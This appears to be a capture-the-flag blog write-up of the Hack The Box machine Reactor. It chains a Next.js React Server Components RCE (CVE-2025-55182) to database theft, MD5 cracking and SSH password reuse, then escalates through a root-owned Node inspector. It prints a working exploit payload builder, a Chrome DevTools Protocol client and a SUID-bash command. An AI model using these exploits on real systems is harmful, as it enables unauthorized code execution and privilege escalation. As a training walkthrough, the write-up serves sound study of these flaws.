Hackthebox: Reactor

Foued SAIDI Lv5

Overview

Reactor is an easy-difficulty Linux machine from Hack The Box built around a modern JavaScript stack. We start with nothing but SSH and a Next.js app on port 3000, fingerprint it as an App Router build serving React Server Components, and abuse CVE-2025-55182 — the react2shell bug in Next.js’s React Flight deserializer — to get unauthenticated RCE as the node service account with nothing more than a Next-Action header. From inside the app root we exfiltrate the application’s SQLite database, which stores its user table as raw MD5, crack the engineer hash against a short theme-based wordlist, and find that the same password works for SSH on the host. A quick post-foothold sweep then reveals root running a Node.js worker with the V8 inspector bound to 127.0.0.1:9229 — an unauthenticated JavaScript REPL inside a root process. We speak the Chrome DevTools Protocol to it with a stdlib-only Python script, call Runtime.evaluate to drop a SUID bash, and that’s root.

Reactor-info-card
Reactor-info-card

Reconnaissance

We start off with our usual full-port nmap scan:

1
nmap -Pn -p- --min-rate 5000 10.129.6.78 -oN nmap-fast.txt
1
2
3
PORT     STATE SERVICE
22/tcp open ssh
3000/tcp open ppp

A small detour worth mentioning here, because it cost me a few minutes: my first scan only came back with port 22, and 3000 showed up as filtered. The culprit wasn’t the box at all — a pre-existing 10.129.0.0/16 route on my machine was pushing the traffic out of the wrong tun interface. Pinning a /32 host route to the actual VPN interface fixed it immediately:

1
sudo ip route add 10.129.6.78/32 via 10.10.16.1 dev tun2

If a HTB box ever shows you a filtered high port while 22 answers fine, check your routing table before you start blaming the firewall.

With both ports visible, we run a service/version scan on them:

1
nmap -sV -sC -p 22,3000 10.129.6.78
1
2
22/tcp   open  ssh   OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
3000/tcp open ppp?

nmap calling port 3000 ppp is just a fingerprinting miss — 3000 isn’t inside nmap’s default HTTP probe range, so it never gets the right probe. A raw curl clears it up straight away:

1
curl -sI http://10.129.6.78:3000/
1
2
3
4
HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "p02u6gnhufd8t"
Content-Type: text/html; charset=utf-8

X-Powered-By: Next.js. Let’s pull the landing page and look at what it’s loading:

1
curl -s http://10.129.6.78:3000/ | grep -Eio '<title>[^<]+|/_next/static/[^"]+' | head
1
2
3
4
<title>ReactorWatch | Core Monitoring System</title>
/_next/static/css/414e1be982bc8557.css
/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js
/_next/static/chunks/main-app-4fbb4b1f318e39a0.js

Two things here are worth banking immediately:

  1. The /_next/static/ chunk paths plus a main-app-*.js chunk tell us this is a Next.js App Router build, and that chunk naming convention is post-13 (react-server-dom-webpack).
  2. The HTML contains an inline flight payload — those self.__next_f.push([1, …]) blobs — which means the page is rendering React Server Components, and by extension the app has the Server Actions endpoint wired up.

That combination is exactly the attack surface for CVE-2025-55182, so that’s where we’re heading.

Foothold — CVE-2025-55182: React2Shell

CVE-2025-55182 (nicknamed react2shell) is an unauthenticated RCE in the way Next.js deserializes Server Action payloads. Here’s the shape of it.

When Next.js receives a Server Action request with a multipart/form-data body, the first part of that body is a JSON-encoded “reply” record which gets handed to decodeReplyFromBusboy(). That function resolves reference chains written as $<idx>:<key>:<key> — it walks object properties by name to rebuild the object graph. The bug is that it never checks whether the key it’s traversing is actually an own property of the object. So we can write a reference like $1:__proto__:then and climb straight out of the Flight protocol into native prototypes — most usefully to Function.prototype.constructor, which is the Function constructor itself. The deserializer then invokes the resolved then with a _prefix string we control, and that string gets evaluated as JavaScript.

The part that makes this so nasty is when it happens: the deserializer runs before any action authorization or validation. The only requirement on the request is that it carries a Next-Action header — the value doesn’t even need to be a real action ID. Unauthenticated code execution in the Node runtime serving the public listener.

There’s a public PoC by Chocapikk (W41T3D3V1L/COMPLETE-CVE-2025-55182), which I cleaned up into a single dependency-light script — same payload shape, minus the rich_click / fake_useragent baggage. The interesting half is the payload builder:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# /tmp/reactor_exploit.py — abridged (payload builder)
def build_payload(cmd, is_rev=False):
boundary = rand(string.ascii_letters + string.digits, 24)
esc = (cmd.replace("\\", "\\\\").replace("'", "\\'")
.replace("\n", "\\n").replace("\r", "\\r").replace("\t", "\\t"))
prefix = (
f"var res=process.mainModule.require('child_process')"
f".execSync('{esc}').toString().trim();"
f"var encoded=Buffer.from(res).toString('base64');"
f"throw Object.assign(new Error('NEXT_REDIRECT'),"
f"{{digest: `NEXT_REDIRECT;push;/login?a=${{encoded}};307;`}});"
)
ref_idx = str(random.randint(1, 9))
rid = rand(string.ascii_uppercase + string.digits, 4)
reason = random.randint(-5, -1)
part0 = (
'{"then":"$' + ref_idx + ':__proto__:then","status":"resolved_model",'
'"reason":' + str(reason) + ',"value":"{\\"then\\":\\"$B' + rid + '\\"}",'
'"_response":{"_prefix":"' + prefix + '","_chunks":"$Q2","_formData":'
'{"get":"$' + ref_idx + ':constructor:constructor"}}}'
)
parts = [f"--{boundary}\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{part0}"]
for i in range(1, int(ref_idx) + 1):
v = "\"$@0\"" if i == int(ref_idx) else "null"
parts.append(f"--{boundary}\r\nContent-Disposition: form-data; name=\"{i}\"\r\n\r\n{v}")
parts.append(f"--{boundary}\r\nContent-Disposition: form-data; name=\"{int(ref_idx)+1}\"\r\n\r\n[]")
parts.append(f"--{boundary}--")
return "\r\n".join(parts), f"multipart/form-data; boundary={boundary}"

Two details in there deserve a closer look.

The _prefix string is the code V8 ends up evaluating, and _formData.get is the $<idx>:constructor:constructor chain that resolves to the Function constructor — that’s the prototype walk doing the actual escaping.

The second detail is the exfil channel, which is a neat trick. Our payload wraps the command output in throw Object.assign(new Error('NEXT_REDIRECT'), {digest: 'NEXT_REDIRECT;push;/login?a=<base64>;307;'}). Next.js has special handling for NEXT_REDIRECT errors: it catches them and copies the URL out of the digest field onto the response as an X-Action-Redirect header. So instead of needing a reverse shell to see our output, the base64’d execSync result rides back out inside a header on what looks like a perfectly ordinary 307 redirect. Fully blind becomes fully interactive.

Let’s fire it and see who we are:

1
python3 /tmp/reactor_exploit.py http://10.129.6.78:3000 'id'
1
uid=999(node) gid=988(node) groups=988(node)

Unauthenticated RCE as the node service account. Let’s get our bearings:

1
python3 /tmp/reactor_exploit.py http://10.129.6.78:3000 'hostname; pwd; ls /opt'
1
2
3
4
reactor
/opt/reactor-app
reactor-app
uptime-monitor

So /opt/reactor-app is the Next.js application root. And there’s a sibling directory, /opt/uptime-monitor, which has nothing to do with the web app — file that away, it’s going to be our privesc path later.

While we’re here, let’s confirm the version that got us in:

1
python3 /tmp/reactor_exploit.py http://10.129.6.78:3000 'grep -E "\"next\"|\"react\"" /opt/reactor-app/package.json'
1
2
3
"next": "15.0.3",
"react": "19.0.0-rc.1",
"react-dom": "19.0.0-rc.1",

[email protected] sits squarely inside the vulnerable window — the fix landed in later 14.2.x and 15.x patch releases.

Looting the SQLite Database

Listing the app root turns up a reactor.db file sitting right next to the application code. Since our exfil channel is a base64 string inside an HTTP header, a binary SQLite file survives the trip just fine as long as we wrap it ourselves:

1
2
3
python3 /tmp/reactor_exploit.py http://10.129.6.78:3000 'cat /opt/reactor-app/reactor.db | base64 -w0' > /tmp/reactor_db.b64
base64 -d /tmp/reactor_db.b64 > /tmp/reactor.db
sqlite3 /tmp/reactor.db 'select * from users;'
1
2
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|[email protected]

Two accounts, and those are plain 32-character hex digests. No $<algo>$<salt>$ prefix, no application-side pepper — just straight md5(plaintext), which in 2025 is less of a hash and more of a formality.

Cracking the engineer Hash

rockyou.txt doesn’t get there (the copy on the box is a trimmed 59k-line subset anyway), so instead of brute-forcing we think about context for a second. The app is called ReactorWatch, the host is reactor, the domain is reactor.htb — box-themed passwords are a staple. A twelve-line guess list is enough:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat > /tmp/guesses.txt <<'EOF'
reactor
reactor1
reactor123
Reactor1
nuclear
nuclear1
reactor2024
reactor2025
reactorwatch
ReactorWatch
site7
site-7
EOF

echo "39d97110eafe2a9a68639812cd271e8e" > /tmp/h
hashcat -m 0 /tmp/h /tmp/guesses.txt --quiet --potfile-disable
1
39d97110eafe2a9a68639812cd271e8e:reactor1

Second entry on the list. engineer:reactor1.

User Flag — SSH as engineer

The credential we just cracked belongs to the web application’s user table, which in principle has nothing to do with the Linux accounts on the host. In practice, password reuse is forever:

1
sshpass -p 'reactor1' ssh -o StrictHostKeyChecking=no [email protected]
1
2
engineer@reactor:~$ id
uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)

And it works. That’s a real interactive shell as a proper user instead of the containerised node account, and the user flag is right there:

1
engineer@reactor:~$ cat ~/user.txt
1
1b50268ff07f34052ebf26d1736bf8ae

Post-Foothold Enumeration

Now on to root. Rather than running the usual checks one at a time, I batched the whole sweep — sudo rights, SUID/SGID binaries, file capabilities, running processes and listening sockets — into a single command:

1
2
3
4
5
engineer@reactor:~$ sudo -n -l 2>&1; echo "---SUID---"; \
find / -xdev \( -perm -4000 -o -perm -2000 \) -type f -printf "%M %u:%g %p\n" 2>/dev/null; \
echo "---CAP---"; getcap -r / 2>/dev/null; \
echo "---PROC---"; ps -ef | head -40; \
echo "---SS---"; ss -lntp 2>&1 | head

The parts that matter:

1
2
3
4
5
6
7
8
9
10
sudo: a password is required          # no NOPASSWD entries
---SUID--- (distro defaults only — nothing exploitable)
---CAP--- (ping / mtr-packet / snap-confine — nothing useful)
---SS---
LISTEN 0 511 127.0.0.1:9229 0.0.0.0:*
LISTEN 0 511 *:3000 *:*

---PROC---
node 1382 next-server (v15.0.3)
root 1384 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

No sudo, no SUID, no capabilities — and it doesn’t matter, because that last process line is the whole game:

1
root  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

That’s the /opt/uptime-monitor directory we spotted earlier, running as root, with the --inspect flag enabling the V8 inspector on the loopback.

Privilege Escalation — Abusing the Root-Owned Node Inspector

--inspect exposes the Chrome DevTools Protocol over a WebSocket, and CDP is not a read-only debugging view. The Runtime.evaluate method is a full JavaScript REPL executing inside the live V8 instance, with every privilege the host process holds. In a root process, Runtime.evaluate is a root shell with extra steps.

And there is no authentication on it. None. The inspector protocol has no credentials, no token, no handshake secret — the only access control it ships with is the bind address, and 127.0.0.1 stops meaning anything the moment you have a shell on the box. Every local user on this host can become root through that socket.

First, let’s confirm it’s alive and grab the WebSocket URL. The inspector serves a small HTTP endpoint next to the WebSocket for exactly this:

1
engineer@reactor:~$ curl -s http://127.0.0.1:9229/json/list
1
2
3
4
5
[ {
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/ef662bce-df2c-4552-9d5d-a142c3ab5b3e"
} ]

The usual advice at this point is to forward 9229 back over SSH and attach Chrome DevTools to it, but that’s unnecessary here — the inspector is already reachable from engineer’s own loopback, so we can just talk to it in place. The only hurdle is that the box has no websocket-client module, so I wrote a small stdlib-only script that does its own WebSocket framing and sends a single Runtime.evaluate frame:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# /tmp/cdp_pwn.py — abridged
import json, sys, socket, base64, struct, secrets, urllib.request

def ws_handshake(sock, host, port, path):
key = base64.b64encode(secrets.token_bytes(16)).decode()
sock.sendall(
f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
f"Upgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n".encode()
)
buf = b""
while b"\r\n\r\n" not in buf:
buf += sock.recv(4096)

def ws_send(sock, payload):
data = payload.encode()
hdr = bytearray([0x81]); mask = secrets.token_bytes(4); n = len(data)
if n < 126: hdr.append(0x80 | n)
elif n < 65536: hdr.append(0x80 | 126); hdr += struct.pack(">H", n)
else: hdr.append(0x80 | 127); hdr += struct.pack(">Q", n)
hdr += mask
body = bytes(b ^ mask[i % 4] for i, b in enumerate(data))
sock.sendall(bytes(hdr) + body)

def ws_recv(sock):
def _r(n):
out = b""
while len(out) < n:
chunk = sock.recv(n - len(out))
if not chunk: raise EOFError
out += chunk
return out
b1, b2 = _r(2); n = b2 & 0x7f
if n == 126: n = struct.unpack(">H", _r(2))[0]
elif n == 127: n = struct.unpack(">Q", _r(8))[0]
masked = b2 & 0x80
mask = _r(4) if masked else b""
data = _r(n)
return bytes(b ^ mask[i % 4] for i, b in enumerate(data)) if masked else data

expr = sys.argv[1]
listing = json.loads(urllib.request.urlopen("http://127.0.0.1:9229/json/list", timeout=5).read())
ws_url = listing[0]["webSocketDebuggerUrl"]
_, _, host_path = ws_url.partition("://")
host_port, _, path = host_path.partition("/")
host, _, port = host_port.partition(":"); port = int(port)
s = socket.create_connection((host, port))
ws_handshake(s, host, port, "/" + path)
ws_send(s, json.dumps({"id":1,"method":"Runtime.evaluate",
"params":{"expression":expr,"returnByValue":True,
"includeCommandLineAPI":True}}))
while True:
msg = json.loads(ws_recv(s).decode("utf-8", "replace"))
if msg.get("id") == 1:
print(json.dumps(msg.get("result", {}), indent=2)); break

It takes a JavaScript expression as its only argument, pulls the WebSocket URL out of /json/list so we don’t have to hardcode the session UUID, and prints whatever Runtime.evaluate hands back.

We copy it over and evaluate an expression that reaches into child_process from the root process and sets the SUID bit on /bin/bash:

1
sshpass -p 'reactor1' scp /tmp/cdp_pwn.py [email protected]:/tmp/cdp_pwn.py
1
2
engineer@reactor:~$ python3 /tmp/cdp_pwn.py \
"process.mainModule.require(\"child_process\").execSync(\"chmod u+s /bin/bash\").toString()"
1
2
3
4
5
6
{
"result": {
"type": "string",
"value": ""
}
}

An empty string is exactly the result we want — chmod prints nothing on success, and Runtime.evaluate returning a clean "type": "string" instead of an exception object means our code ran inside the root process without complaint.

Root Flag

Let’s check the bit and cash it in:

1
engineer@reactor:~$ ls -la /bin/bash; /bin/bash -p -c "id; cat /root/root.txt"
1
2
3
-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash
uid=1000(engineer) gid=1000(engineer) euid=0(root) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)
fb76f8536acdb14d7bc28a9b09db905f

The -p is the important flag there. Modern bash deliberately drops its effective UID back to the real UID on startup as a safety measure, so running a SUID bash without -p just gives you a normal shell. With -p it keeps euid=0, which is exactly what we see in the id output — and that’s root.

Worth noting before we close: patching CVE-2025-55182 alone wouldn’t have saved this box. The front-end RCE and the root-owned localhost inspector are two completely independent mistakes, and either one of them plus any other foothold on the host gets you to root. A debug flag left on in production is every bit as much a vulnerability as the CVE that got us in the front door.

That was it for Reactor, hope you learned something new!

  • 0xkujen
  • Title: Hackthebox: Reactor
  • Author: Foued SAIDI
  • Created at : 2026-10-08 18:20:00
  • Updated at : 2026-10-08 18:51:37
  • Link: https://kujen5.github.io/2026/10/08/Hackthebox-Reactor/
  • License: This work is licensed under CC BY-NC-SA 4.0.